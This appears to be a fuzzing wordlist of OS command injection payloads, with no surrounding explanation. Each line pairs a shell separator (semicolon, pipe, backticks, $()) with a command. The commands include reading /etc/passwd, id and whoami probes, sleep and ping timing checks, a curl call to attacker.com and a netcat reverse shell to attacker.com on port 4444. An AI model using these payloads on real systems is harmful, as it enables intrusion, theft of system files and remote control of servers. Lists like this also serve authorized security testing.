; ls
| ls
|| ls
`ls`
$(ls)
; cat /etc/passwd
| cat /etc/passwd
|| cat /etc/passwd
`cat /etc/passwd`
$(cat /etc/passwd)
; id
| id
`id`
$(id)
; whoami
| whoami
`whoami`
$(whoami)
; ping -c 3 127.0.0.1
| ping -c 3 127.0.0.1
`ping -c 3 127.0.0.1`
; curl http://attacker.com
| curl http://attacker.com
; sleep 5
| sleep 5
`sleep 5`
$(sleep 5)
; nc -e /bin/sh attacker.com 4444
| nc -e /bin/sh attacker.com 4444
; echo YmFzZTY0 | base64 -d
| echo YmFzZTY0 | base64 -d
